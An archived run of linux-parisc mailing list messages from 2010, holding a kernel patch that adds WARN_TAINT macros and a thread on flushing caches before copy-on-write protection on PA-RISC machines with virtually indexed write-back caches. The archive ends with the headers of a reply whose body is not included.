X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 3 Apr 2010 18:35:59 +0000 (UTC)
Cc: David Woodhouse <dwmw2@infradead.org>, linux-pci@vger.kernel.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	Paul Mundt <lethal@linux-sh.org>
To: Jesse Barnes <jbarnes@virtuousgeek.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 03 20:35:54 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ny8CH-0000H4-MB
	for glpp-linux-parisc@lo.gmane.org; Sat, 03 Apr 2010 20:35:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754706Ab0DCSfa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 3 Apr 2010 14:35:30 -0400
Original-Received: from shadbolt.e.decadent.org.uk ([88.96.1.126]:47086 "EHLO
	shadbolt.e.decadent.org.uk" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752603Ab0DCSf3 convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 3 Apr 2010 14:35:29 -0400
Original-Received: from deadeye.i.decadent.org.uk ([192.168.4.185] helo=localhost)
	by shadbolt.decadent.org.uk with esmtps (TLS1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <ben@decadent.org.uk>)
	id 1Ny8BN-0006po-Ab; Sat, 03 Apr 2010 19:34:58 +0100
Original-Received: from ben by localhost with local (Exim 4.71)
	(envelope-from <ben@decadent.org.uk>)
	id 1Ny8BM-00033G-Hg; Sat, 03 Apr 2010 19:34:56 +0100
X-Mailer: Evolution 2.28.3 
X-SA-Exim-Connect-IP: 192.168.4.185
X-SA-Exim-Mail-From: ben@decadent.org.uk
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	shadbolt.decadent.org.uk
X-Spam-Level: 
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED
	autolearn=disabled version=3.2.5
X-SA-Exim-Version: 4.2.1 (built Wed, 25 Jun 2008 17:14:11 +0000)
X-SA-Exim-Scanned: Yes (on shadbolt.decadent.org.uk)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2757 gmane.linux.kernel.pci:8301 gmane.linux.kernel:970113 gmane.linux.ports.ppc64.devel:65743 gmane.linux.ports.sh.devel:7779
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2757>

WARN() is used in some places to report firmware or hardware bugs that
are then worked-around.  These bugs do not affect the stability of the
kernel and should not set the flag for TAINT_WARN.  To allow for this,
add WARN_TAINT() and WARN_TAINT_ONCE() macros that take a taint number
as argument.

Architectures that implement warnings using trap instructions instead
of calls to warn_slowpath_*() now implement __WARN_TAINT(taint)
instead of __WARN().

Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
---
Changes since the previous version:
- Added note to Documentation/oops-tracing.txt
- Changed the commit message to distinguish taint numbers from taint
  flags
- Removed 'must' from last sentence of commit message; this patch
  converts all mainline architectures

Ben.

 Documentation/oops-tracing.txt |    1 +
 arch/parisc/include/asm/bug.h  |    8 ++++----
 arch/powerpc/include/asm/bug.h |    6 +++---
 arch/s390/include/asm/bug.h    |    8 ++++----
 arch/sh/include/asm/bug.h      |    4 ++--
 include/asm-generic/bug.h      |   34 ++++++++++++++++++++++++++++++++--
 kernel/panic.c                 |   24 ++++++++++++++++++++----
 lib/bug.c                      |    2 +-
 8 files changed, 67 insertions(+), 20 deletions(-)

diff --git a/Documentation/oops-tracing.txt b/Documentation/oops-tracing.txt
index c10c022..069fab3 100644
--- a/Documentation/oops-tracing.txt
+++ b/Documentation/oops-tracing.txt
@@ -256,6 +256,7 @@ characters, each representing a particular tainted value.
   9: 'A' if the ACPI table has been overridden.
 
  10: 'W' if a warning has previously been issued by the kernel.
+     (Though some warnings may set more specific taint flags.)
 
  11: 'C' if a staging driver has been loaded.
 
diff --git a/arch/parisc/include/asm/bug.h b/arch/parisc/include/asm/bug.h
index 75e46c5..72cfdb0 100644
--- a/arch/parisc/include/asm/bug.h
+++ b/arch/parisc/include/asm/bug.h
@@ -44,7 +44,7 @@
 #endif
 
 #ifdef CONFIG_DEBUG_BUGVERBOSE
-#define __WARN()							\
+#define __WARN_TAINT(taint)						\
 	do {								\
 		asm volatile("\n"					\
 			     "1:\t" PARISC_BUG_BREAK_ASM "\n"		\
@@ -54,11 +54,11 @@
 			     "\t.org 2b+%c3\n"				\
 			     "\t.popsection"				\
 			     : : "i" (__FILE__), "i" (__LINE__),	\
-			     "i" (BUGFLAG_WARNING),			\
+			     "i" (BUGFLAG_TAINT(taint)), 		\
 			     "i" (sizeof(struct bug_entry)) );		\
 	} while(0)
 #else
-#define __WARN()							\
+#define __WARN_TAINT(taint)						\
 	do {								\
 		asm volatile("\n"					\
 			     "1:\t" PARISC_BUG_BREAK_ASM "\n"		\
@@ -67,7 +67,7 @@
 			     "\t.short %c0\n"				\
 			     "\t.org 2b+%c1\n"				\
 			     "\t.popsection"				\
-			     : : "i" (BUGFLAG_WARNING),			\
+			     : : "i" (BUGFLAG_TAINT(taint)),		\
 			     "i" (sizeof(struct bug_entry)) );		\
 	} while(0)
 #endif
diff --git a/arch/powerpc/include/asm/bug.h b/arch/powerpc/include/asm/bug.h
index 2c15212..065c590 100644
--- a/arch/powerpc/include/asm/bug.h
+++ b/arch/powerpc/include/asm/bug.h
@@ -85,12 +85,12 @@
 	}							\
 } while (0)
 
-#define __WARN() do {						\
+#define __WARN_TAINT(taint) do {				\
 	__asm__ __volatile__(					\
 		"1:	twi 31,0,0\n"				\
 		_EMIT_BUG_ENTRY					\
 		: : "i" (__FILE__), "i" (__LINE__),		\
-		  "i" (BUGFLAG_WARNING),			\
+		  "i" (BUGFLAG_TAINT(taint)),			\
 		  "i" (sizeof(struct bug_entry)));		\
 } while (0)
 
@@ -104,7 +104,7 @@
 		"1:	"PPC_TLNEI"	%4,0\n"			\
 		_EMIT_BUG_ENTRY					\
 		: : "i" (__FILE__), "i" (__LINE__),		\
-		  "i" (BUGFLAG_WARNING),			\
+		  "i" (BUGFLAG_TAINT(TAINT_WARN)),		\
 		  "i" (sizeof(struct bug_entry)),		\
 		  "r" (__ret_warn_on));				\
 	}							\
diff --git a/arch/s390/include/asm/bug.h b/arch/s390/include/asm/bug.h
index 9beeb9d..bf90d1f 100644
--- a/arch/s390/include/asm/bug.h
+++ b/arch/s390/include/asm/bug.h
@@ -46,18 +46,18 @@
 	unreachable();					\
 } while (0)
 
-#define __WARN() do {					\
-	__EMIT_BUG(BUGFLAG_WARNING);			\
+#define __WARN_TAINT(taint) do {			\
+	__EMIT_BUG(BUGFLAG_TAINT(taint));		\
 } while (0)
 
 #define WARN_ON(x) ({					\
 	int __ret_warn_on = !!(x);			\
 	if (__builtin_constant_p(__ret_warn_on)) {	\
 		if (__ret_warn_on)			\
-			__EMIT_BUG(BUGFLAG_WARNING);	\
+			__WARN();			\
 	} else {					\
 		if (unlikely(__ret_warn_on))		\
-			__EMIT_BUG(BUGFLAG_WARNING);	\
+			__WARN();			\
 	}						\
 	unlikely(__ret_warn_on);			\
 })
diff --git a/arch/sh/include/asm/bug.h b/arch/sh/include/asm/bug.h
index d02c01b..6323f86 100644
--- a/arch/sh/include/asm/bug.h
+++ b/arch/sh/include/asm/bug.h
@@ -48,7 +48,7 @@ do {							\
 		   "i" (sizeof(struct bug_entry)));	\
 } while (0)
 
-#define __WARN()					\
+#define __WARN_TAINT(taint)				\
 do {							\
 	__asm__ __volatile__ (				\
 		"1:\t.short %O0\n"			\
@@ -57,7 +57,7 @@ do {							\
 		 : "n" (TRAPA_BUG_OPCODE),		\
 		   "i" (__FILE__),			\
 		   "i" (__LINE__),			\
-		   "i" (BUGFLAG_WARNING),		\
+		   "i" (BUGFLAG_TAINT(taint)),		\
 		   "i" (sizeof(struct bug_entry)));	\
 } while (0)
 
diff --git a/include/asm-generic/bug.h b/include/asm-generic/bug.h
index 18c435d..c2c9ba0 100644
--- a/include/asm-generic/bug.h
+++ b/include/asm-generic/bug.h
@@ -25,7 +25,10 @@ struct bug_entry {
 };
 #endif		/* __ASSEMBLY__ */
 
-#define BUGFLAG_WARNING	(1<<0)
+#define BUGFLAG_WARNING		(1 << 0)
+#define BUGFLAG_TAINT(taint)	(BUGFLAG_WARNING | ((taint) << 8))
+#define BUG_GET_TAINT(bug)	((bug)->flags >> 8)
+
 #endif	/* CONFIG_GENERIC_BUG */
 
 /*
@@ -56,17 +59,25 @@ struct bug_entry {
  * appear at runtime.  Use the versions with printk format strings
  * to provide better diagnostics.
  */
-#ifndef __WARN
+#ifndef __WARN_TAINT
 #ifndef __ASSEMBLY__
 extern void warn_slowpath_fmt(const char *file, const int line,
 		const char *fmt, ...) __attribute__((format(printf, 3, 4)));
+extern void warn_slowpath_fmt_taint(const char *file, const int line,
+				    unsigned taint, const char *fmt, ...)
+	__attribute__((format(printf, 4, 5)));
 extern void warn_slowpath_null(const char *file, const int line);
 #define WANT_WARN_ON_SLOWPATH
 #endif
 #define __WARN()		warn_slowpath_null(__FILE__, __LINE__)
 #define __WARN_printf(arg...)	warn_slowpath_fmt(__FILE__, __LINE__, arg)
+#define __WARN_printf_taint(taint, arg...)				\
+	warn_slowpath_fmt_taint(__FILE__, __LINE__, taint, arg)
 #else
+#define __WARN()		__WARN_TAINT(TAINT_WARN)
 #define __WARN_printf(arg...)	do { printk(arg); __WARN(); } while (0)
+#define __WARN_printf_taint(taint, arg...)				\
+	do { printk(arg); __WARN_TAINT(taint); } while (0)
 #endif
 
 #ifndef WARN_ON
@@ -87,6 +98,13 @@ extern void warn_slowpath_null(const char *file, const int line);
 })
 #endif
 
+#define WARN_TAINT(condition, taint, format...) ({			\
+	int __ret_warn_on = !!(condition);				\
+	if (unlikely(__ret_warn_on))					\
+		__WARN_printf_taint(taint, format);			\
+	unlikely(__ret_warn_on);					\
+})
+
 #else /* !CONFIG_BUG */
 #ifndef HAVE_ARCH_BUG
 #define BUG() do {} while(0)
@@ -110,6 +128,8 @@ extern void warn_slowpath_null(const char *file, const int line);
 })
 #endif
 
+#define WARN_TAINT(condition, taint, format...) WARN_ON(condition)
+
 #endif
 
 #define WARN_ON_ONCE(condition)	({				\
@@ -132,6 +152,16 @@ extern void warn_slowpath_null(const char *file, const int line);
 	unlikely(__ret_warn_once);				\
 })
 
+#define WARN_TAINT_ONCE(condition, taint, format...)	({	\
+	static bool __warned;					\
+	int __ret_warn_once = !!(condition);			\
+								\
+	if (unlikely(__ret_warn_once))				\
+		if (WARN_TAINT(!__warned, taint, format))	\
+			__warned = true;			\
+	unlikely(__ret_warn_once);				\
+})
+
 #define WARN_ON_RATELIMIT(condition, state)			\
 		WARN_ON((condition) && __ratelimit(state))
 
diff --git a/kernel/panic.c b/kernel/panic.c
index 13d966b..8b821bc 100644
--- a/kernel/panic.c
+++ b/kernel/panic.c
@@ -365,7 +365,8 @@ struct slowpath_args {
 	va_list args;
 };
 
-static void warn_slowpath_common(const char *file, int line, void *caller, struct slowpath_args *args)
+static void warn_slowpath_common(const char *file, int line, void *caller,
+				 unsigned taint, struct slowpath_args *args)
 {
 	const char *board;
 
@@ -381,7 +382,7 @@ static void warn_slowpath_common(const char *file, int line, void *caller, struc
 	print_modules();
 	dump_stack();
 	print_oops_end_marker();
-	add_taint(TAINT_WARN);
+	add_taint(taint);
 }
 
 void warn_slowpath_fmt(const char *file, int line, const char *fmt, ...)
@@ -390,14 +391,29 @@ void warn_slowpath_fmt(const char *file, int line, const char *fmt, ...)
 
 	args.fmt = fmt;
 	va_start(args.args, fmt);
-	warn_slowpath_common(file, line, __builtin_return_address(0), &args);
+	warn_slowpath_common(file, line, __builtin_return_address(0),
+			     TAINT_WARN, &args);
 	va_end(args.args);
 }
 EXPORT_SYMBOL(warn_slowpath_fmt);
 
+void warn_slowpath_fmt_taint(const char *file, int line,
+			     unsigned taint, const char *fmt, ...)
+{
+	struct slowpath_args args;
+
+	args.fmt = fmt;
+	va_start(args.args, fmt);
+	warn_slowpath_common(file, line, __builtin_return_address(0),
+			     taint, &args);
+	va_end(args.args);
+}
+EXPORT_SYMBOL(warn_slowpath_fmt_taint);
+
 void warn_slowpath_null(const char *file, int line)
 {
-	warn_slowpath_common(file, line, __builtin_return_address(0), NULL);
+	warn_slowpath_common(file, line, __builtin_return_address(0),
+			     TAINT_WARN, NULL);
 }
 EXPORT_SYMBOL(warn_slowpath_null);
 #endif
diff --git a/lib/bug.c b/lib/bug.c
index 300e41a..f13daf4 100644
--- a/lib/bug.c
+++ b/lib/bug.c
@@ -165,7 +165,7 @@ enum bug_trap_type report_bug(unsigned long bugaddr, struct pt_regs *regs)
 			       (void *)bugaddr);
 
 		show_regs(regs);
-		add_taint(TAINT_WARN);
+		add_taint(BUG_GET_TAINT(bug));
 		return BUG_TRAP_TYPE_WARN;
 	}
 
-- 
1.7.0.3



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: NIIBE Yutaka <gniibe@fsij.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Mon, 05 Apr 2010 09:39:09 +0900
Organization: Free Software Initiative of Japan
Lines: 39
Approved: news@gmane.org
Message-ID: <4BB9312D.6030409@fsij.org>
References: <4BA43CE5.4020807@fsij.org> <87hbo4ek8l.fsf@thialfi.karme.de>	 <4BB18B46.2070203@fsij.org> <4BB53D26.60601@fsij.org>	 <4BB5594C.8050505@fsij.org> <1270179025.18981.19.camel@mulgrave.site>	 <4BB568FB.1090908@fsij.org> <1270210927.2899.27.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270427966 5730 80.91.229.12 (5 Apr 2010 00:39:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 5 Apr 2010 00:39:26 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org, 561203@bugs.debian.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 05 02:39:21 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NyaLX-0001tR-T3
	for glpp-linux-parisc@lo.gmane.org; Mon, 05 Apr 2010 02:39:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752188Ab0DEAjR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Apr 2010 20:39:17 -0400
Original-Received: from members.fsij.org ([211.14.6.125]:44317 "EHLO atom.fsij.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752115Ab0DEAjQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Apr 2010 20:39:16 -0400
Original-Received: from [150.82.175.29]
	by atom.fsij.org with esmtpsa (TLS1.0:DHE_RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <gniibe@fsij.org>)
	id 1NyaPE-0002fE-F7; Mon, 05 Apr 2010 09:43:08 +0900
User-Agent: Mozilla-Thunderbird 2.0.0.22 (X11/20091109)
In-Reply-To: <1270210927.2899.27.camel@mulgrave.site>
X-Enigmail-Version: 0.95.0
X-SA-Exim-Connect-IP: 150.82.175.29
X-SA-Exim-Mail-From: gniibe@fsij.org
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on atom.fsij.org
X-Spam-Level: 
X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00
	autolearn=ham version=3.2.5
X-SA-Exim-Version: 4.2.1 (built Wed, 25 Jun 2008 17:20:07 +0000)
X-SA-Exim-Scanned: Yes (on atom.fsij.org)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2758
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2758>

Thanks a lot for the discussion.

James Bottomley wrote:
> So your theory is that the data the kernel sees doing the page copy can
> be stale because of dirty cache lines in userspace (which is certainly
> possible in the ordinary way)?

Yes.

> By design that shouldn't happen: the idea behind COW breaking is
> that before it breaks, the page is read only ... this means that
> processes can have clean cache copies of it, but never dirty cache
> copies (because writes are forbidden).

That must be design, I agree.

To keep this condition (no dirty cache for COW page), we need to flush
cache before ptep_set_wrprotect.  That's my point.

Please look at the code path:
   (kernel/fork.c)
   do_fork -> copy_process -> copy_mm -> dup_mm -> dup_mmap ->
   (mm/memory.c)
   copy_page_range -> copy_p*d_range -> copy_one_pte -> ptep_set_wrprotect

The function flush_cache_dup_mm is called from dup_mmap, that's enough
for a case of a process with single thread.

I think that:
We need to flush cache before ptep_set_wrprotect for a process with
multiple threads.  Other threads may change memory after a thread
invokes do_fork and before calling ptep_set_wrprotect.  Specifically,
a process may sleep at pte_alloc function to get a page.
-- 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Sun, 4 Apr 2010 22:51:53 -0400 (EDT)
Lines: 121
Approved: news@gmane.org
Message-ID: <20100405025154.DE1D55160@hiauly1.hia.nrc.ca>
References: <4BB9312D.6030409@fsij.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270435923 21691 80.91.229.12 (5 Apr 2010 02:52:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 5 Apr 2010 02:52:03 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com,
	linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org, 561203@bugs.debian.org
To: gniibe@fsij.org (NIIBE Yutaka)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 05 04:51:58 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NycPt-0005ev-OA
	for glpp-linux-parisc@lo.gmane.org; Mon, 05 Apr 2010 04:51:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754019Ab0DECv5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Apr 2010 22:51:57 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2900 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754014Ab0DECv4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Apr 2010 22:51:56 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id DE1D55160; Sun,  4 Apr 2010 22:51:54 -0400 (EDT)
In-Reply-To: <4BB9312D.6030409@fsij.org> from "NIIBE Yutaka" at Apr 5, 2010 09:39:09 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2759
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2759>

> Thanks a lot for the discussion.
> 
> James Bottomley wrote:
> > So your theory is that the data the kernel sees doing the page copy can
> > be stale because of dirty cache lines in userspace (which is certainly
> > possible in the ordinary way)?
> 
> Yes.
> 
> > By design that shouldn't happen: the idea behind COW breaking is
> > that before it breaks, the page is read only ... this means that
> > processes can have clean cache copies of it, but never dirty cache
> > copies (because writes are forbidden).
> 
> That must be design, I agree.
> 
> To keep this condition (no dirty cache for COW page), we need to flush
> cache before ptep_set_wrprotect.  That's my point.
> 
> Please look at the code path:
>    (kernel/fork.c)
>    do_fork -> copy_process -> copy_mm -> dup_mm -> dup_mmap ->
>    (mm/memory.c)
>    copy_page_range -> copy_p*d_range -> copy_one_pte -> ptep_set_wrprotect
> 
> The function flush_cache_dup_mm is called from dup_mmap, that's enough
> for a case of a process with single thread.
> I think that:
> We need to flush cache before ptep_set_wrprotect for a process with
> multiple threads.  Other threads may change memory after a thread
> invokes do_fork and before calling ptep_set_wrprotect.  Specifically,
> a process may sleep at pte_alloc function to get a page.

I agree.  It is interesting that in the case of the Debian bug that
a thread of the parent process causes the COW break and thereby corrupts
its own memory.  As far as I can tell, the fork'd child never writes
to the memory that causes the fault.

My testing indicates that your suggested change fixes the Debian
bug.  I've attached below my latest test version.  This seems to fix
the bug on both SMP and UP kernels.

However, it doesn't fix all page/cache related issues on parisc
SMP kernels that I commonly see.

My first inclination after even before reading your analysis was
to assume that copy_user_page was broken (i.e, that even if a
processor cache was dirty when the COW page was write protected,
it should be possible to do the flush before the page is copied).
However, this didn't seem to work...  Possibly, there are issues
with aliased addresses.

I note that sparc flushes the entire cache and purges the entire
tlb in kmap_atomic/kunmap_atomic for highmem.  Although the breakage
that I see is not limited to PA8800/PA8900, I'm not convinced
that we maintain coherency that is required for these processors
in copy_user_page when we have multiple threads.

As a side note, kmap_atomic/kunmap_atomic seem to lack calls to
pagefault_disable()/pagefault_enable() on PA8800.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index a27d2e2..b140d5c 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -14,6 +14,7 @@
 #include <linux/bitops.h>
 #include <asm/processor.h>
 #include <asm/cache.h>
+extern void flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long pfn);
 
 /*
  * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
@@ -456,17 +457,22 @@ static inline pte_t ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 	return old_pte;
 }
 
-static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
+static inline void ptep_set_wrprotect(struct vm_area_struct *vma, struct mm_struct *mm, unsigned long addr, pte_t *ptep)
 {
 #ifdef CONFIG_SMP
 	unsigned long new, old;
+#endif
+	pte_t old_pte = *ptep;
+
+	if (atomic_read(&mm->mm_users) > 1)
+		flush_cache_page(vma, addr, pte_pfn(old_pte));
 
+#ifdef CONFIG_SMP
 	do {
 		old = pte_val(*ptep);
 		new = pte_val(pte_wrprotect(__pte (old)));
 	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
 #else
-	pte_t old_pte = *ptep;
 	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
 #endif
 }
diff --git a/mm/memory.c b/mm/memory.c
index 09e4b1b..21c2916 100644
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -616,7 +616,7 @@ copy_one_pte(struct mm_struct *dst_mm, struct mm_struct *src_mm,
 	 * in the parent and the child
 	 */
 	if (is_cow_mapping(vm_flags)) {
-		ptep_set_wrprotect(src_mm, addr, src_pte);
+		ptep_set_wrprotect(vma, src_mm, addr, src_pte);
 		pte = pte_wrprotect(pte);
 	}
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Sun, 4 Apr 2010 22:58:40 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <20100405025840.B79A54EF4@hiauly1.hia.nrc.ca>
References: <20100405025154.DE1D55160@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270436328 22364 80.91.229.12 (5 Apr 2010 02:58:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 5 Apr 2010 02:58:48 +0000 (UTC)
Cc: gniibe@fsij.org, James.Bottomley@HansenPartnership.com,
	linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org, 561203@bugs.debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 05 04:58:43 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NycWQ-0006ZN-N2
	for glpp-linux-parisc@lo.gmane.org; Mon, 05 Apr 2010 04:58:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754029Ab0DEC6m (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Apr 2010 22:58:42 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2908 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754019Ab0DEC6l (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Apr 2010 22:58:41 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B79A54EF4; Sun,  4 Apr 2010 22:58:40 -0400 (EDT)
In-Reply-To: <20100405025154.DE1D55160@hiauly1.hia.nrc.ca> from "John David Anglin" at Apr 4, 2010 10:51:53 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2760
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2760>

> > > By design that shouldn't happen: the idea behind COW breaking is
> > > that before it breaks, the page is read only ... this means that
> > > processes can have clean cache copies of it, but never dirty cache
> > > copies (because writes are forbidden).
> > 
> > That must be design, I agree.
> > 
> > To keep this condition (no dirty cache for COW page), we need to flush
> > cache before ptep_set_wrprotect.  That's my point.

Is it possible that a sleep/reschedule could cause the cache to become
dirty again before it is write protected?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: threads and fork on machine with VIPT-WB cache
Date: Mon, 05 Apr 2010 11:18:38 -0500
Lines: 146
Approved: news@gmane.org
Message-ID: <1270484318.2790.38.camel@mulgrave.site>
References: <20100405025154.DE1D55160@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1270484332 23807 80.91.229.12 (5 Apr 2010 16:18:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 5 Apr 2010 16:18:52 +0000 (UTC)
Cc: NIIBE Yutaka <gniibe@fsij.org>, linux-parisc@vger.kernel.org,
	pkg-gauche-devel@lists.alioth.debian.org, 561203@bugs.debian.org
